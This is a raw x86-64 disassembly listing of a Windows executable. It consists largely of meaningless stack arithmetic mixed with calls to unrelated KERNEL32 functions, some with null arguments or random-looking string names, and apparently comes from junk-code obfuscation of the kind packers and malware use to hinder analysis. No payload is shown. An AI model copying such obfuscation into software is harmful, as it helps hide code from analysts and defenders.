mov dword [rsp + 0xcf08], eax
movzx eax, byte [rsp + 0x869]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe4], al
movzx eax, word [0x1402bf61a]
mov word [rsp + 0x3c00], ax
mov rax, qword [rsp + 0x19f20]
mov ecx, dword [rsp + 0xb240]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaee4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd904], eax
mov rax, qword [rsp + 0x1ac38]
mov eax, dword [rax]
mov dword [rsp + 0xdfd4], eax
mov rax, qword [rsp + 0x19e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd184], eax
mov rax, qword [rsp + 0x19938]
mov rcx, qword [rsp + 0x198c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x1402bf390]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19f50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa1c8]
sar eax, cl
mov dword [rsp + 0x8d68], eax
mov rax, qword [0x1402bf470]
movzx eax, word [rax]
mov word [rsp + 0x3c04], ax
movsx eax, byte [rsp + 0x8ae]
mov rcx, qword [rsp + 0x19d50]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7af], al
movzx eax, byte [rsp + 0x873]
movzx ecx, byte [rsp + 0x832]
or eax, ecx
mov byte [rsp + 0x188], al
mov rax, qword [0x1402bf700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3b70]
xor eax, ecx
mov word [rsp + 0x3974], ax
mov eax, dword [rsp + 0xdc08]
mov dword [rsp + 0xdfd8], eax
mov rax, qword [rsp + 0x1a6f0]
mov rcx, qword [rsp + 0x19b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0f0], eax
mov rax, qword [0x1402bf518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x85b], al
mov rax, qword [rsp + 0x1a318]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39ac]
and eax, ecx
mov word [0x1402ad938], ax
mov eax, dword [0x1402bf478]
mov dword [rsp + 0xdfdc], eax
mov rax, qword [rsp + 0x19a70]
mov ecx, dword [rsp + 0x8458]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd030], eax
mov rax, qword [rsp + 0x1ade8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbe2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcac8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.r3kgT5lFDS2VBswB7AbNXsGZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1af38], rax
mov eax, dword [rsp + 0xbb44]
mov ecx, dword [rsp + 0xdb70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdfd0], eax
mov rax, qword [rsp + 0x19f70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a9]
add eax, ecx
mov byte [rsp + 0x264], al
lea rax, [rsp + 0x3808]
mov qword [rsp + 0x1af40], rax
mov rax, qword [rsp + 0x1aad0]
mov eax, dword [rax]
mov ecx, dword [0x1402ad7ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcb44], eax
mov rax, qword [rsp + 0x1aea8]
mov eax, dword [rax]
mov dword [rsp + 0xdfe0], eax
lea rdx, [rsp + 0x2c158]
mov rcx, qword [rsp + 0x1a360]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcf94], eax
mov rax, qword [rsp + 0x19f48]
movzx eax, byte [rax]
mov byte [0x1402bf340], al
mov rax, qword [rsp + 0x1acd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a7e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x36f4], ax
movzx eax, word [rsp + 0x3934]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3664], ax
lea rax, [rsp + 0x805]
mov qword [rsp + 0x1af48], rax
mov eax, dword [rsp + 0xd804]
mov ecx, dword [0x1402bf67c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce24], eax
mov eax, dword [rsp + 0xc7a8]
mov dword [rsp + 0xdfe4], eax
mov rax, qword [rsp + 0x1a000]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xdf00]
shl eax, cl
mov dword [rsp + 0xc94c], eax
mov rax, qword [rsp + 0x1a808]
mov rcx, qword [rsp + 0x1aea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xab38], eax
lea rax, [rsp + 0xde7c]
mov qword [rsp + 0x1af50], rax
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83d]
sar eax, cl
mov byte [rsp + 0x885], al
mov rax, qword [rsp + 0x1a930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x181c]
or eax, ecx
mov word [0x1402bf65c], ax
mov rax, qword [rsp + 0x1a9d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd854]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e74], eax
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [rsp + 0xd774]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdb10], eax
mov eax, dword [rsp + 0xa304]
mov dword [rsp + 0xdfe8], eax
mov rax, qword [rsp + 0x1acc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd288]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0f4], eax
movzx eax, word [0x1402ad6ac]
movzx ecx, word [rsp + 0x360c]
and eax, ecx
mov word [rsp + 0x2bf4], ax
movzx eax, byte [rsp + 0x60d]
mov byte [rsp + 0x8ca], al
mov rax, qword [rsp + 0x1a5f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3890]
sub eax, ecx
mov word [rsp + 0x3704], ax
lea rax, [0x1402acc2a]
mov qword [rsp + 0x1af58], rax
mov rax, qword [rsp + 0x1a3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce24]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x1402bf3f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xdfa0]
mov ecx, dword [rsp + 0x8d68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc7cc], eax
movzx eax, word [0x1402ad7c4]
mov rcx, qword [rsp + 0x1a240]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1ab48]
mov word [rcx], ax
movzx eax, byte [rsp + 0x58b]
movzx ecx, byte [rsp + 0x5b9]
add eax, ecx
mov byte [rsp + 0x4e2], al
mov rax, qword [rsp + 0x1a050]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd7b8]
sar eax, cl
mov rcx, qword [rsp + 0x1a2c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd0bc]
mov dword [rsp + 0xdfec], eax
mov rax, qword [rsp + 0x19cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb958]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd6ac], eax
mov rax, qword [rsp + 0x1a738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdaa4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc0c], eax
movzx eax, byte [rsp + 0x703]
mov byte [rsp + 0x8cb], al
mov rax, qword [rsp + 0x19ec0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a350]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402ad93c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x1af60], rax
mov eax, dword [rsp + 0xdb08]
mov ecx, dword [rsp + 0xdfd0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5e4], eax
mov rax, qword [rsp + 0x1ab40]
mov eax, dword [rax]
mov dword [rsp + 0xdff0], eax
mov rax, qword [rsp + 0x1a3e0]
mov ecx, dword [rsp + 0xd380]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdf8c], eax
mov rax, qword [0x1402bf628]
mov rcx, qword [rsp + 0x1a830]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x843c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x1a9f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb66c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e7c], eax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x87c]
add eax, ecx
mov byte [rsp + 0x1ba], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcd9c], eax
mov rax, qword [rsp + 0x19f90]
movzx eax, word [rax]
mov word [rsp + 0x3c08], ax
mov rax, qword [rsp + 0x1a6c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x41d]
and eax, ecx
mov byte [rsp + 0x7d7], al
movzx eax, word [rsp + 0x3974]
imul eax, eax, 0x16b
mov word [0x1402ad940], ax
mov rax, qword [rsp + 0x1ab70]
mov eax, dword [rax]
mov dword [rsp + 0xdff4], eax
mov eax, dword [rsp + 0xca00]
mov ecx, dword [rsp + 0xae44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd288], eax
mov edx, 0xe2448
mov rcx, qword [rsp + 0x19b30]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xcf18], eax
mov rax, qword [rsp + 0x1a030]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a8f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3264], ax
movzx eax, byte [rsp + 0x2d3]
mov rcx, qword [rsp + 0x19a50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x571], al
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xda44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8bd0], eax
mov eax, dword [rsp + 0xd9bc]
mov dword [rsp + 0xdff8], eax
mov rax, qword [rsp + 0x1a5b0]
mov ecx, dword [rsp + 0xdd70]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xdf48], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xdffc], eax
mov eax, dword [0x1402ad854]
mov ecx, dword [rsp + 0xd630]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1abd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19ec0]
movzx eax, word [rax]
cdq
mov ecx, 0x4b7
idiv ecx
mov word [0x1402ad870], ax
mov rax, qword [rsp + 0x19fd8]
movzx eax, byte [rax]
mov byte [rsp + 0x8cc], al
mov eax, dword [0x1402ad8c0]
movzx ecx, al
mov eax, dword [rsp + 0xde2c]
shr eax, cl
mov rcx, qword [rsp + 0x196e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1ae90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1aad0]
mov qword [rsp + 0x1af68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1af68]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa0b8], eax
movsx eax, byte [rsp + 0x685]
mov rcx, qword [0x1402bf4b8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x835], al
lea rcx, [rsp + 0x1aed0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, word [rsp + 0x22e8]
mov rcx, qword [rsp + 0x1acd0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19f90]
mov word [rcx], ax
movzx eax, word [rsp + 0x2608]
mov word [rsp + 0x3c0c], ax
movzx eax, byte [rsp + 0x632]
movzx ecx, byte [rsp + 0x794]
sub eax, ecx
mov byte [rsp + 0x84c], al
mov eax, dword [rsp + 0xb2f8]
mov dword [rsp + 0xe000], eax
mov rax, qword [rsp + 0x1ac00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xde24]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad910], eax
mov rax, qword [rsp + 0x1aef8]
mov ecx, dword [rsp + 0xbcc4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcfd0], eax
mov rax, qword [rsp + 0x19b08]
mov ecx, dword [rsp + 0xd12c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9964], eax
mov rax, qword [rsp + 0x19e98]
mov ecx, dword [rsp + 0xcfc8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x1a9f8]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
movzx eax, word [rsp + 0x2b88]
movzx ecx, word [rsp + 0x36d0]
add eax, ecx
mov word [rsp + 0x3008], ax
mov rax, qword [rsp + 0x1a2b0]
movzx eax, byte [rax]
mov byte [rsp + 0x8cd], al
mov rax, qword [rsp + 0x1a518]
mov ecx, dword [rsp + 0xd45c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd1bc], eax
mov eax, dword [rsp + 0xd354]
mov dword [rsp + 0xe004], eax
mov rax, qword [rsp + 0x1a620]
mov rcx, qword [rsp + 0x1a428]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdf04], eax
mov rax, qword [rsp + 0x19c78]
mov rcx, qword [rsp + 0x1a140]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1402ad944], eax
movzx eax, word [rsp + 0x2db4]
movzx ecx, word [rsp + 0x3728]
or eax, ecx
mov word [rsp + 0x39cc], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov byte [rsp + 0x8ce], al
movsx eax, word [rsp + 0x3604]
movsx ecx, word [rsp + 0x36c0]
shl eax, cl
mov word [rsp + 0x3a94], ax
movsx eax, byte [rsp + 0x7e5]
movsx ecx, byte [rsp + 0x1d1]
sar eax, cl
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x1a150]
mov ecx, dword [rsp + 0xdd30]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcdd4], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xce84], eax
mov rax, qword [0x1402bf5a8]
mov rcx, qword [rsp + 0x1add0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdf68], eax
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
mov word [rsp + 0x3c10], ax
lea rdx, [rsp + 0x2c158]
mov rcx, qword [rsp + 0x19b68]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xe008], eax
mov rax, qword [rsp + 0x1a6a8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acc5e]
add eax, ecx
mov byte [rsp + 0x7f6], al
mov eax, dword [rsp + 0x9ec8]
mov dword [0x1402bf33c], eax
mov eax, dword [rsp + 0xc330]
mov dword [rsp + 0xe00c], eax
mov eax, dword [rsp + 0xcef4]
mov ecx, dword [rsp + 0xc810]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0fc], eax
mov eax, dword [rsp + 0xb340]
mov ecx, dword [0x1402bf6f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd97c], eax
mov rax, qword [rsp + 0x1a7c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2db4]
add eax, ecx
mov word [rsp + 0x1df0], ax
movzx eax, byte [rsp + 0x802]
mov rcx, qword [rsp + 0x1a558]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x75c], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xdf74], eax
lea rax, [rsp + 0x8194]
mov qword [rsp + 0x1af70], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xde8c], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x83c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xda10], eax
mov rax, qword [rsp + 0x1a168]
mov eax, dword [rax]
mov dword [rsp + 0xe010], eax
mov rax, qword [rsp + 0x1a760]
mov rcx, qword [rsp + 0x19850]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad730], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov eax, dword [rsp + 0xdd90]
mov ecx, dword [rsp + 0x8fec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa210], eax
movsx eax, byte [reloc.SHELL32.dll_ILFindChild]
mov rcx, qword [rsp + 0x19e30]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x92], al
movzx eax, word [rsp + 0x38e4]
mov word [rsp + 0x3c14], ax
movzx eax, byte [rsp + 0x81d]
movzx ecx, byte [rsp + 0x80d]
cdq
idiv ecx
mov byte [rsp + 0x8c4], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.n6TbV8qznDz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1af78], rax
mov rax, qword [rsp + 0x1a318]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3688]
xor eax, ecx
mov word [rsp + 0x18a0], ax
mov rax, qword [rsp + 0x1ac78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19d58]
mov qword [rsp + 0x1af80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1af80]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x19910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19bd8]
mov rcx, qword [0x1402bf5a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdd44], eax
mov rax, qword [rsp + 0x1ad10]
movzx eax, word [rax]
mov word [rsp + 0x3c18], ax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a9]
imul eax, ecx
mov byte [0x1402acc9a], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xce70], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov eax, dword [0x1402bf36c]
mov ecx, dword [rsp + 0xb8b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd28c], eax
mov eax, dword [rsp + 0xd83c]
mov dword [rsp + 0xe014], eax
mov eax, dword [rsp + 0xdc04]
mov ecx, dword [rsp + 0xc0d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19ef8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd718]
mov ecx, dword [rsp + 0xce90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x83e4], eax
movzx eax, word [rsp + 0x3688]
movzx ecx, word [rsp + 0x3184]
add eax, ecx
mov word [rsp + 0x1a00], ax
mov rax, qword [rsp + 0x1a2d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18a]
sub eax, ecx
mov rcx, qword [rsp + 0x1a198]
mov byte [rcx], al
lea rax, [rsp + 0xd8dc]
mov qword [rsp + 0x1af88], rax
mov rax, qword [rsp + 0x19c30]
mov ecx, dword [rsp + 0xd280]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb93c], eax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d3]
sub eax, ecx
mov byte [0x1402acbb2], al
mov rax, qword [rsp + 0x1a8a8]
movzx eax, word [rax]
mov word [rsp + 0x3c1c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x2619
mov rcx, qword [rsp + 0x19fe8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe018], eax
movzx eax, word [rsp + 0x3758]
movzx ecx, word [rsp + 0x3bfc]
add eax, ecx
mov word [rsp + 0x392c], ax
movzx eax, byte [rsp + 0x83a]
imul eax, eax, 0xde
mov byte [rsp + 0x9a], al
mov rax, qword [rsp + 0x1aa70]
mov eax, dword [rax]
mov dword [rsp + 0xe01c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov eax, dword [rsp + 0xa668]
mov ecx, dword [rsp + 0xd20c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x93f0], eax
lea rcx, [rsp + 0x2d530]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xcd24], eax
mov eax, dword [0x1402ad904]
mov rcx, qword [rsp + 0x19c00]
mov qword [rsp + 0x1af90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1af90]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcaf8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x19c78]
mov ecx, dword [rsp + 0xd6dc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x19e98]
mov dword [rcx], eax
mov rax, qword [0x1402bf5f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb984]
shl eax, cl
mov dword [rsp + 0xd480], eax
lea rax, [rsp + 0x8ce]
mov qword [rsp + 0x1af98], rax
mov rax, qword [rsp + 0x1a2b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a500]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1402ad948], ax
mov rax, qword [rsp + 0x19f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdec8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xde68], eax
lea rax, [rsp + 0x8128]
mov qword [rsp + 0x1afa0], rax
mov rax, qword [rsp + 0x19e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd480]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd18c], eax
mov eax, dword [0x1402ad65c]
mov ecx, dword [rsp + 0xd128]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xbdbc], eax
movzx eax, word [rsp + 0x3ac8]
mov word [rsp + 0x3c20], ax
movzx eax, byte [rsp + 0x5b9]
movzx ecx, byte [rsp + 0x69f]
imul eax, ecx
mov byte [rsp + 0x7ca], al
lea rax, [rsp + 0x87e]
mov qword [rsp + 0x1afa8], rax
movsx eax, word [rsp + 0x2860]
movsx ecx, word [rsp + 0x34e8]
sub eax, ecx
mov word [rsp + 0x3c04], ax
mov rax, qword [rsp + 0x1a420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdcd0]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf388], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xe020], eax
mov rax, qword [rsp + 0x1aac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd450]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd478], eax
mov rax, qword [rsp + 0x1abc8]
movzx eax, byte [rax]
mov byte [rsp + 0x8cf], al
mov rax, qword [rsp + 0x1af00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19870]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x398c], ax
mov eax, dword [0x1402bf454]
mov dword [rsp + 0xe024], eax
mov rax, qword [rsp + 0x1a448]
mov ecx, dword [rsp + 0xd918]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf4c], eax
mov rax, qword [rsp + 0x1a178]
mov ecx, dword [rsp + 0xd034]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [0x1402bf5f0]
mov rcx, qword [rsp + 0x19a60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdd0c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0x1a0a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x824]
sub eax, ecx
mov byte [rsp + 0x870], al
movzx eax, word [rsp + 0x3884]
mov rcx, qword [0x1402bf700]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402bf590], ax
lea rax, [rsp + 0xafa0]
mov qword [rsp + 0x1afb0], rax
mov eax, dword [rsp + 0xd830]
mov ecx, dword [rsp + 0xd1b8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd620], eax
mov rax, qword [rsp + 0x19f20]
mov eax, dword [rax]
mov dword [rsp + 0xe028], eax
mov eax, dword [rsp + 0x80fc]
mov rcx, qword [rsp + 0x1ab40]
mov qword [rsp + 0x1afb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1afb8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xce74], eax
mov eax, dword [rsp + 0xd2f0]
movzx ecx, al
mov eax, dword [rsp + 0xcf88]
sar eax, cl
mov dword [rsp + 0xd7f8], eax
movzx eax, word [0x1402bf360]
mov word [rsp + 0x3c24], ax
movsx eax, byte [rsp + 0x862]
mov rcx, qword [rsp + 0x1aa78]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x786], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movzx eax, word [rsp + 0x3960]
movzx ecx, word [rsp + 0x308c]
imul eax, ecx
mov word [rsp + 0x2a8c], ax
lea rcx, [0x1402ae884]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3af8], ax
mov rax, qword [0x1402bf3a8]
movzx eax, byte [rax]
mov byte [0x1402bf338], al
mov rcx, qword [rsp + 0x19a38]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1afb0]
mov ecx, dword [rsp + 0xd2dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd964], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbb04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc08], eax
mov rax, qword [rsp + 0x1a5a0]
movzx eax, word [rax]
mov word [rsp + 0x3c28], ax
movzx eax, byte [rsp + 0x892]
movzx ecx, byte [rsp + 0x838]
and eax, ecx
mov byte [rsp + 0x8af], al
mov eax, dword [rsp + 0x9890]
mov dword [rsp + 0xe02c], eax
mov eax, dword [rsp + 0xd7c4]
mov ecx, dword [rsp + 0xc220]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xda08], eax
mov rax, qword [rsp + 0x19c10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xde7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd4f8], eax
mov rax, qword [rsp + 0x1a6d8]
mov ecx, dword [0x1402ad698]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8eb8], eax
lea rax, [rsp + 0x35f8]
mov qword [0x1402bf330], rax
movzx eax, byte [rsp + 0x2a1]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1a4e8]
mov byte [rcx], al
mov eax, dword [rsp + 0xd898]
mov dword [rsp + 0xe030], eax
mov eax, dword [rsp + 0xd0fc]
mov ecx, dword [0x1402ad910]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdea4], eax
lea rax, [rsp + 0x31a4]
mov qword [rsp + 0x1afc0], rax
lea rcx, str.ZDl2UsLihAe_BEUiol
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3c2c], ax
movsx eax, byte [rsp + 0xca]
movsx ecx, byte [rsp + 0x791]
xor eax, ecx
mov byte [rsp + 0x7b6], al
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a638]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x84d], al
mov rax, qword [rsp + 0x1a930]
movzx eax, word [rax]
mov word [rsp + 0x3c30], ax
mov rcx, qword [rsp + 0x1a290]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd2f4], eax
mov rax, qword [0x1402bf3f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1ac40]
mov qword [rsp + 0x1afc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1afc8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xbc54], eax
mov rcx, qword [rsp + 0x1a348]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0xb5b4]
mov rcx, qword [rsp + 0x19780]
mov qword [rsp + 0x1afd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1afd0]
mov eax, dword [rax]
sar eax, cl
